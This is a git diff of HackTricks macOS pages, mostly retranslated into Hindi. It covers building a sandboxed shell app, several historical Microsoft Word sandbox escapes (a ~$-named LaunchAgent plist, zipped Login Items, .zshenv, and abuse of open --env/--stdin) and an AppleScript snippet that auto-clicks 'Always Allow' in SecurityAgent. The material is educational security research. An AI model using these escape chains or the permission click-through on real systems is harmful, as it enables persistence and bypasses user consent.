||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
इस पेज पर आपको मिलेगा कि डिफ़ॉल्ट macOS सैंडबॉक्स के अंदर से विचारात्मक कमांडों को लॉन्च करने के लिए एक ऐप बनाने का तरीका:
|
इस पृष्ठ पर आप यह जान सकते हैं कि डिफ़ॉल्ट macOS सैंडबॉक्स के अंदर से मनमाने कमांड लॉन्च करने के लिए एक ऐप कैसे बनाया जाए:
|
||||||
|
|
||||||
1. एप्लिकेशन को कंपाइल करें:
|
1. एप्लिकेशन को संकलित करें:
|
||||||
|
|
||||||
{% code title="main.m" %}
|
{% code title="main.m" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -50,7 +51,7 @@ return 0;
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
इसे कंपाइल करें: `clang -framework Foundation -o SandboxedShellApp main.m`
|
इसे चलाते हुए संकलित करें: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||||
|
|
||||||
2. `.app` बंडल बनाएं
|
2. `.app` बंडल बनाएं
|
||||||
```bash
|
```bash
|
||||||
|
@ -92,7 +93,7 @@ EOF
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% टैब शीर्षक = "सैंडबॉक्स + डाउनलोड्स" %}
|
{% tab title="सैंडबॉक्स + डाउनलोड" %}
|
||||||
```bash
|
```bash
|
||||||
cat << EOF > entitlements.plist
|
cat << EOF > entitlements.plist
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
@ -110,7 +111,7 @@ EOF
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
4. ऐप को साइन करें (आपको कीचेन में प्रमाणपत्र बनाने की आवश्यकता है)
|
4. ऐप पर हस्ताक्षर करें (आपको कीचेन में एक प्रमाणपत्र बनाना होगा)
|
||||||
```bash
|
```bash
|
||||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||||
|
@ -118,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
|
||||||
# An d in case you need this in the future
|
# An d in case you need this in the future
|
||||||
codesign --remove-signature SandboxedShellApp.app
|
codesign --remove-signature SandboxedShellApp.app
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,62 +1,78 @@
|
||||||
# macOS Office सैंडबॉक्स बायपास
|
# macOS Office Sandbox Bypasses
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### शब्द सैंडबॉक्स बायपास Launch Agents के माध्यम से
|
### Word Sandbox bypass via Launch Agents
|
||||||
|
|
||||||
एप्लिकेशन **कस्टम सैंडबॉक्स** का उपयोग करता है जिसमें **`com.apple.security.temporary-exception.sbpl`** इंटाइटलमेंट का उपयोग किया जाता है और यह कस्टम सैंडबॉक्स `~$` से शुरू होने वाले फ़ाइलों को लिखने की अनुमति देता है: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
यह एप्लिकेशन **`com.apple.security.temporary-exception.sbpl`** अधिकार का उपयोग करके एक **कस्टम सैंडबॉक्स** का उपयोग करता है और यह कस्टम सैंडबॉक्स कहीं भी फ़ाइलें लिखने की अनुमति देता है जब तक फ़ाइल का नाम `~$` से शुरू होता है: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||||
|
|
||||||
इसलिए, बाहर निकलना **`plist`** LaunchAgent में लिखना इतना आसान था: `~/Library/LaunchAgents/~$escape.plist`।
|
इसलिए, बचने के लिए **`~/Library/LaunchAgents/~$escape.plist`** में एक `plist` LaunchAgent लिखना उतना ही आसान था।
|
||||||
|
|
||||||
[**मूल रिपोर्ट यहाँ देखें**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
[**यहां मूल रिपोर्ट देखें**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)।
|
||||||
|
|
||||||
### शब्द सैंडबॉक्स बायपास Login Items और zip के माध्यम से
|
### Word Sandbox bypass via Login Items and zip
|
||||||
|
|
||||||
पहले बायपास से याद रखें, Word किसी भी फ़ाइल को लिख सकता है जिसका नाम `~$` से शुरू होता है हालांकि पिछले vuln के पैच के बाद `/Library/Application Scripts` या `/Library/LaunchAgents` में लिखना संभव नहीं था।
|
याद रखें कि पहले के बचाव से, Word मनमाने फ़ाइलें लिख सकता है जिनका नाम `~$` से शुरू होता है, हालांकि पिछले कमजोरियों के पैच के बाद `/Library/Application Scripts` या `/Library/LaunchAgents` में लिखना संभव नहीं था।
|
||||||
|
|
||||||
साबित हुआ कि सैंडबॉक्स के अंदर से एक **लॉगिन आइटम** (एप्स जो उपयोगकर्ता लॉग इन करते समय चलाए जाएंगे) बनाना संभव है। हालांकि, ये एप्स **केवल तभी चलेंगे जब** वे **नोटराइज़्ड** होंगे और **एर्ग्स जोड़ना संभव नहीं** है (तो आप **`bash`** का उपयोग करके बस एक रिवर्स शैल नहीं चला सकते हैं)।
|
यह पता चला कि सैंडबॉक्स के भीतर एक **Login Item** (ऐप्स जो उपयोगकर्ता के लॉग इन करने पर निष्पादित होंगे) बनाना संभव है। हालाँकि, ये ऐप्स **तब तक निष्पादित नहीं होंगे** जब तक कि वे **नोटराइज्ड** न हों और **आर्ग्स जोड़ना संभव नहीं है** (इसलिए आप केवल **`bash`** का उपयोग करके एक रिवर्स शेल नहीं चला सकते)।
|
||||||
|
|
||||||
पिछले सैंडबॉक्स बायपास से, Microsoft ने `~/Library/LaunchAgents` में फ़ाइलें लिखने का विकल्प अक्षम कर दिया था। हालांकि, पाया गया कि अगर आप एक **zip फ़ाइल को लॉगिन आइटम के रूप में डालते हैं** तो `Archive Utility` उसे अपने वर्तमान स्थान पर **अनज़िप** कर देगा। इसलिए, क्योंकि डिफ़ॉल्ट रूप से `~/Library` के `LaunchAgents` फ़ोल्डर नहीं बनाया गया है, इसे संधारित स्थान तक पहुंचाने के लिए **`LaunchAgents/~$escape.plist` में एक plist ज़िप किया जा सकता था** और **`~/Library`** में ज़िप फ़ाइल रख दी जा सकती थी ताकि जब इसे डीकंप्रेस किया जाए, वह स्थायिति गंतव्य तक पहुंचेगा।
|
पिछले सैंडबॉक्स बायपास से, Microsoft ने `~/Library/LaunchAgents` में फ़ाइलें लिखने का विकल्प अक्षम कर दिया। हालाँकि, यह पता चला कि यदि आप एक **ज़िप फ़ाइल को Login Item के रूप में रखते हैं** तो `Archive Utility` बस इसे उसके वर्तमान स्थान पर **अनज़िप** कर देगा। इसलिए, चूंकि डिफ़ॉल्ट रूप से `~/Library` से `LaunchAgents` फ़ोल्डर नहीं बनाया गया है, इसलिए **`LaunchAgents/~$escape.plist`** में एक plist को **ज़िप करना** और **ज़िप फ़ाइल को `~/Library` में रखना** संभव था ताकि जब इसे अनकंप्रेस किया जाए तो यह स्थायी गंतव्य तक पहुँच जाए।
|
||||||
|
|
||||||
[**मूल रिपोर्ट यहाँ देखें**](https://objective-see.org/blog/blog\_0x4B.html).
|
[**यहां मूल रिपोर्ट देखें**](https://objective-see.org/blog/blog\_0x4B.html)。
|
||||||
|
|
||||||
### शब्द सैंडबॉक्स बायपास Login Items और .zshenv के माध्यम से
|
### Word Sandbox bypass via Login Items and .zshenv
|
||||||
|
|
||||||
(पहले बायपास से याद रखें, Word किसी भी फ़ाइल को लिख सकता है जिसका नाम `~$` से शुरू होता है)।
|
(याद रखें कि पहले के बचाव से, Word मनमाने फ़ाइलें लिख सकता है जिनका नाम `~$` से शुरू होता है)।
|
||||||
|
|
||||||
हालांकि, पिछली तकनीक की एक सीमा थी, यदि फ़ोल्डर **`~/Library/LaunchAgents`** मौजूद है क्योंकि कुछ अन्य सॉफ़्टवेयर ने इसे बनाया है, तो यह विफल हो जाएगा। इसके लिए इसके लिए एक विभिन्न लॉगिन आइटम श्रृंखला इसके लिए खोजी गई थी।
|
हालाँकि, पिछले तकनीक में एक सीमा थी, यदि फ़ोल्डर **`~/Library/LaunchAgents`** मौजूद है क्योंकि कुछ अन्य सॉफ़्टवेयर ने इसे बनाया है, तो यह विफल हो जाएगा। इसलिए इसके लिए एक अलग Login Items श्रृंखला का पता लगाया गया।
|
||||||
|
|
||||||
एक हमलावर फ़ाइलें बना सकता था **`.bash_profile`** और **`.zshenv`** जिसमें पेलोड को निष्पादित करने के लिए और फिर उन्हें ज़िप करके और **ज़िप फ़ाइल को पीड़ितों** उपयोगकर्ता फ़ोल्डर में लिखने के लिए: **`~/~$escape.zip`**।
|
एक हमलावर फ़ाइलें **`.bash_profile`** और **`.zshenv`** बना सकता है जिसमें निष्पादित करने के लिए पेलोड हो और फिर उन्हें ज़िप कर सकता है और **ज़िप को पीड़ित** के उपयोगकर्ता फ़ोल्डर में लिख सकता है: **`~/~$escape.zip`**।
|
||||||
|
|
||||||
फिर, ज़िप फ़ाइल को **लॉगिन आइटम** में जोड़ें और फिर **`Terminal`** एप्लिकेशन। जब उपयोगकर्ता फिर से लॉग इन करता है, तो ज़िप फ़ाइल उपयोगकर्ता फ़ाइल में अनकंप्रेस हो जाएगा, **`.bash_profile`** और **`.zshenv`** को अधिलेखित करके और इसलिए, टर्मिनल एक इनमें से एक फ़ाइल को निष्पादित करेगा (यह बाश या zsh का उपयोग करता है इस पर निर्भर करता है)।
|
फिर, ज़िप फ़ाइल को **Login Items** में जोड़ें और फिर **`Terminal`** ऐप। जब उपयोगकर्ता फिर से लॉगिन करता है, तो ज़िप फ़ाइल उपयोगकर्ता फ़ाइल में अनकंप्रेस की जाएगी, **`.bash_profile`** और **`.zshenv`** को ओवरराइट करते हुए और इसलिए, टर्मिनल इनमें से एक फ़ाइल को निष्पादित करेगा (इस पर निर्भर करते हुए कि bash या zsh का उपयोग किया गया है)।
|
||||||
|
|
||||||
[**मूल रिपोर्ट यहाँ देखें**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
[**यहां मूल रिपोर्ट देखें**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)。
|
||||||
|
|
||||||
### Open और env variables के साथ शब्द सैंडबॉक्स बायपास
|
### Word Sandbox Bypass with Open and env variables
|
||||||
|
|
||||||
सैंडबॉक्स प्रक्रियाओं से अन्य प्रक्रियाओं को **`open`** उपयोग करके आमंत्रित करना भी संभव है। इसके अतिरिक्त, ये प्रक्रियाएँ **अपने खुद के सैंडबॉक्स के अंदर चलेंगी**।
|
सैंडबॉक्स किए गए प्रक्रियाओं से अन्य प्रक्रियाओं को **`open`** उपयोगिता का उपयोग करके बुलाना अभी भी संभव है। इसके अलावा, ये प्रक्रियाएँ **अपने स्वयं के सैंडबॉक्स** के भीतर चलेंगी।
|
||||||
|
|
||||||
पाया गया कि open यूटिलिटी में **`--env`** विकल्प है एक ऐप को **निश्चित env** वेरिएबल्स के साथ चलाने के लिए। इसलिए, सैंडबॉक्स के अंदर एक फ़ोल्डर के भीतर **`.zshenv` फ़ाइल** बनाना संभव था और `open` का उपयोग करना `--env` के सेटिंग के साथ `HOME` वेरिएबल को उस फ़ोल्डर में सेट करने के लिए करना था जिससे वह `Terminal` एप्लिकेशन खोलेगा, जो `.zshenv` फ़ाइल को निष्पादित करेगा (कुछ कारणों से इसे वर्चुअल `__OSINSTALL_ENVIROMENT` भी सेट करने की आवश्यकता थी)।
|
यह पता चला कि ओपन उपयोगिता में **`--env`** विकल्प है जिससे एक ऐप को **विशिष्ट env** वेरिएबल्स के साथ चलाया जा सकता है। इसलिए, यह संभव था कि **सैंडबॉक्स** के भीतर एक फ़ोल्डर में **`.zshenv` फ़ाइल** बनाई जाए और `open` का उपयोग करके `--env` के साथ **`HOME` वेरिएबल** को उस फ़ोल्डर में सेट किया जाए, जिससे वह `Terminal` ऐप खोले, जो `.zshenv` फ़ाइल को निष्पादित करेगा (किसी कारण से `__OSINSTALL_ENVIROMENT` वेरिएबल सेट करना भी आवश्यक था)।
|
||||||
|
|
||||||
[**मूल रिपोर्ट यहाँ देखें**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
[**यहां मूल रिपोर्ट देखें**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)।
|
||||||
|
|
||||||
### Open और stdin के साथ शब्द सैंडबॉक्स बायपास
|
### Word Sandbox Bypass with Open and stdin
|
||||||
|
|
||||||
**`open`** यूटिलिटी ने भी **`--stdin`** पैरामीटर का समर्थन किया (और पिछले बायपास के बाद `--env` का उपयोग संभव नहीं था)।
|
**`open`** उपयोगिता ने **`--stdin`** पैरामीटर का भी समर्थन किया (और पिछले बायपास के बाद `--env` का उपयोग करना संभव नहीं था)।
|
||||||
|
|
||||||
बात यह है कि यदि **`python`** को Apple द्वारा साइन किया गया था, तो यह **`quarantine`** गुणधर्म के साथ एक स्क्रिप्ट को नहीं निष्पादित करेगा। हालांकि, इसे stdin से एक स्क्रिप्ट पास करना संभव था ताकि यह यह जांच न करे कि यह क्वारंटाइन है या नहीं: 
|
बात यह है कि भले ही **`python`** Apple द्वारा साइन किया गया हो, यह **`quarantine`** विशेषता वाली स्क्रिप्ट को **निष्पादित नहीं करेगा**। हालाँकि, इसे stdin से एक स्क्रिप्ट पास करना संभव था ताकि यह न देखे कि यह क्वारंटाइन में था या नहीं: 
|
||||||
|
|
||||||
1. एक **`~$exploit.py`** फ़ाइल ड्रॉप करें जिसमें विचित Python कमांड हों।
|
1. एक **`~$exploit.py`** फ़ाइल छोड़ें जिसमें मनमाने Python कमांड हों।
|
||||||
2. चलाएं _open_ **`–stdin='~$exploit.py' -a Python`**, जो हमारी ड्रॉप की गई फ़ाइल के साथ पाइथन एप्लिकेशन को चलाता है जो इसके मानक इनपुट के रूप में काम करता है। पाइथन खुशी से हमारा कोड चलाता है,
|
2. _open_ **`–stdin='~$exploit.py' -a Python`** चलाएँ, जो Python ऐप को हमारे छोड़े गए फ़ाइल के मानक इनपुट के रूप में चलाता है। Python खुशी-खुशी हमारे कोड को चलाता है, और चूंकि यह _launchd_ का एक चाइल्ड प्रोसेस है, यह Word के सैंडबॉक्स नियमों से बंधा नहीं है।
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,40 +1,56 @@
|
||||||
# macOS एप्पल स्क्रिप्ट्स
|
# macOS Apple Scripts
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud** github रेपो में PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## एप्पल स्क्रिप्ट्स
|
## Apple Scripts
|
||||||
|
|
||||||
यह एक स्क्रिप्टिंग भाषा है जिसका उपयोग कार्य स्वचालन के लिए **दूरस्थ प्रक्रियाओं के साथ बातचीत** करने के लिए किया जाता है। यह किसी अन्य प्रक्रियाएँ कुछ कार्रवाई करने के लिए कहना बहुत आसान बना देता है। **मैलवेयर** इन सुविधाओं का दुरुपयोग कर सकता है ताकि अन्य प्रक्रियाएँ द्वारा निर्यात की गई कार्यों का दुरुपयोग करें।\
|
यह एक स्क्रिप्टिंग भाषा है जो कार्य स्वचालन के लिए **दूरस्थ प्रक्रियाओं के साथ बातचीत** करने के लिए उपयोग की जाती है। यह **अन्य प्रक्रियाओं से कुछ क्रियाएँ करने के लिए पूछना** काफी आसान बनाता है। **Malware** इन सुविधाओं का दुरुपयोग कर सकता है ताकि अन्य प्रक्रियाओं द्वारा निर्यातित कार्यों का दुरुपयोग किया जा सके।\
|
||||||
उदाहरण के लिए, एक मैलवेयर **ब्राउज़र खुली पृष्ठों में विचित्र JS कोड इंजेक्ट** कर सकता है। या उपयोगकर्ता से अनुमति मांगने वाली कुछ अनुमति को **स्वचालित रूप से क्लिक** कर सकता है।
|
उदाहरण के लिए, एक malware **ब्राउज़र में खोले गए पृष्ठों में मनमाना JS कोड इंजेक्ट कर सकता है**। या **कुछ अनुमति अनुरोधों पर स्वचालित क्लिक** कर सकता है;
|
||||||
```applescript
|
```applescript
|
||||||
tell window 1 of process "SecurityAgent"
|
tell window 1 of process "SecurityAgent"
|
||||||
click button "Always Allow" of group 1
|
click button "Always Allow" of group 1
|
||||||
end tell
|
end tell
|
||||||
```
|
```
|
||||||
यहाँ आपको कुछ उदाहरण मिलेंगे: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
यहाँ कुछ उदाहरण हैं: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||||
एप्पलस्क्रिप्ट का उपयोग करके मैलवेयर के बारे में अधिक जानकारी [**यहाँ**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) मिलेगी।
|
AppleScripts का उपयोग करके मैलवेयर के बारे में अधिक जानकारी [**यहाँ**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/) प्राप्त करें।
|
||||||
|
|
||||||
एप्पल स्क्रिप्ट आसानी से "**कॉम्पाइल**" किए जा सकते हैं। इन संस्करणों को `osadecompile` के साथ आसानी से "**डीकॉम्पाइल**" किया जा सकता है।
|
Apple scripts को आसानी से "**संकलित**" किया जा सकता है। इन संस्करणों को आसानी से "**डीकंपाइल**" किया जा सकता है `osadecompile` के साथ।
|
||||||
|
|
||||||
हालांकि, ये स्क्रिप्ट भी **"केवल पढ़ने के लिए"** के रूप में निर्यात किए जा सकते हैं (विकल्प "निर्यात..." के माध्यम से):
|
हालांकि, ये स्क्रिप्ट को **"केवल पढ़ने के लिए" निर्यात** भी किया जा सकता है ( "निर्यात..." विकल्प के माध्यम से):
|
||||||
|
|
||||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||||
```
|
```
|
||||||
file mal.scpt
|
file mal.scpt
|
||||||
mal.scpt: AppleScript compiled
|
mal.scpt: AppleScript compiled
|
||||||
```
|
```
|
||||||
और इस मामले में सामग्री को `osadecompile` के साथ भी डिकंपाइल नहीं किया जा सकता
|
और इस मामले में सामग्री को `osadecompile` के साथ भी डिकंपाइल नहीं किया जा सकता।
|
||||||
|
|
||||||
हालांकि, इस प्रकार के एक्जीक्यूटेबल्स को समझने के लिए कुछ उपकरण अभी भी हैं, [**अधिक जानकारी के लिए इस रिसर्च को पढ़ें**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). उपकरण [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) के साथ [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) काफी उपयोगी होगा ताकि स्क्रिप्ट काम कैसे करता है, समझने में।
|
हालांकि, कुछ उपकरण हैं जिनका उपयोग इस प्रकार के निष्पादन योग्य को समझने के लिए किया जा सकता है, [**अधिक जानकारी के लिए इस शोध को पढ़ें**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/))। उपकरण [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) और [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) स्क्रिप्ट के काम करने के तरीके को समझने के लिए बहुत उपयोगी होंगे।
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
